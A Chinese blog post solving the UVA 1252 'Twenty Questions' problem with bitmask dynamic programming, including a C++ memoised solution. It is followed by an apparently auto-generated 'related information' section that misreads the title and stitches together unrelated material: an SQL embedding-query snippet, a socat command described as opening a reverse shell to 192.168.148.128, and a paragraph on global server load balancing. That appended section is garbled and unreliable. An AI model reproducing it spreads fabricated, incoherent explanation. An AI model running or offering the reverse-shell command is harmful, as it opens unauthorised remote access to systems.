UVA 1252 Twenty Questions

状态压缩DP

题意: 有n个长度为m的二进制串,每个都是不同的。为了把所有字符串区分开,你可以询问,每次可以问某位上是0还是1。安排一种询问方式,使得最大的询问次数最小,输出这个次数。

解法: 设dp[s1][s2]为询问集合为s1,答案为s2,还需要询问几次能区分开。所以有:

dp[s1][s2] = 0 ,当和答案s2相同的串个数小于等于1时。

dp[s1][s2] = min(dp[s1][s2], max(dp[s1|(1<<i][ s2] ,dp[s1|(1<<i][s2|(1<<i))]+1),当s1的第i位为0时。

这题的方程式参看神牛的(点这里),ORZ。

/* **********************************************
Author      : Nero
Created Time: 2013-8-27 2:25:36
Problem id  : UVA 1252
Problem Name: Twenty Questions
*********************************************** */

#include <stdio.h>
#include <string.h>
#include <algorithm>
using namespace std;
#define REP(i,a,b) for(int i=(a); i<(int)(b); i++)
#define clr(a,b) memset(a,b,sizeof(a))

const int INF = ~0u >> 1;
int dp[(1<<11) + 10][(1<<11) + 10]; // 已选的集合,答案的集合, 还需要几次询问能区分
int p[130]; // 每一根线段的答案
int n,m;

int dfs(int s1, int s2) {
    if(dp[s1][s2] >= 0) return dp[s1][s2];
    int cnt = 0;
    REP(i,0,n) if((p[i]&s1) == s2) cnt ++;
    if(cnt <= 1) return dp[s1][s2] = 0;
    dp[s1][s2] = INF;
    REP(i,0,m) {
        if(s1 & (1<<i)) continue;
        dp[s1][s2] = min(dp[s1][s2], max(dfs(s1|(1<<i), s2), dfs(s1|(1<<i), s2|(1<<i)))+1);
    }
    return dp[s1][s2];
}

int main() {
    char s[12];
    while(~scanf("%d%d", &m, &n), m || n) {
        REP(i,0,n) {
            p[i] = 0;
            scanf("%s", s);
            REP(j,0,m) {
                if(s[j] == '1') {
                    p[i] |= (1<<j);
                }
            }
        }
        clr(dp,-1);
        printf("%d\n", dfs(0,0));
    }
    return 0;
}


### 关于 's in twenty queries' 的相关信息 在探讨 “s in twenty queries” 这一主题时,可以将其理解为一种优化查询效率的技术方法或者算法设计思路。虽然当前提供的引用并未直接提及该具体短语,但从技术角度出发,可以通过分析已知内容来推测其可能的应用场景。 #### 查询优化与数据处理 如果目标是在二十次查询内完成特定任务,则需要考虑如何高效地利用数据库资源并减少冗余操作。例如,在 Python 中通过 Pandas 库实现复杂 SQL 查询的结果展示[^3]: ```python import pandas as pd query = f""" SELECT id, sentences, cosineDistance(embeddings, {input_embedding}) AS similarity FROM DocEmbeddings LIMIT 10 """ df = pd.DataFrame(client.query(query).result_rows) ``` 此代码片段展示了如何构建一个基于嵌入向量相似度计算的查询,并将结果转换成易于阅读的数据帧格式。这种方法特别适用于自然语言处理领域中的文档检索应用。 #### 后门连接与网络安全考量 当讨论到网络通信或远程访问时,“socat STDIO TCP4:192.168.148.128:22,sourceport=8888”的命令用于建立反向Shell连接[^1]。尽管这看起来像是渗透测试的一部分,但在实际部署过程中需严格遵循法律法规及道德准则,确保不会侵犯他人隐私或损害第三方利益。 #### 负载均衡提升性能表现 全球服务器负载平衡 (GSLB)[^2] 是另一种提高服务可用性和响应速度的有效手段。“Distributing Internet traffic amongst a large number of connected servers dispersed around the world.” 描述了这种机制的核心原理——即合理分配流量至不同地理位置上的节点上运行的服务实例之间。对于大规模在线平台而言尤为重要。 综上所述,“s in twenty queries” 可能涉及多种计算机科学分支下的理论研究和技术实践;无论是针对文本挖掘还是系统架构层面都值得深入探索。
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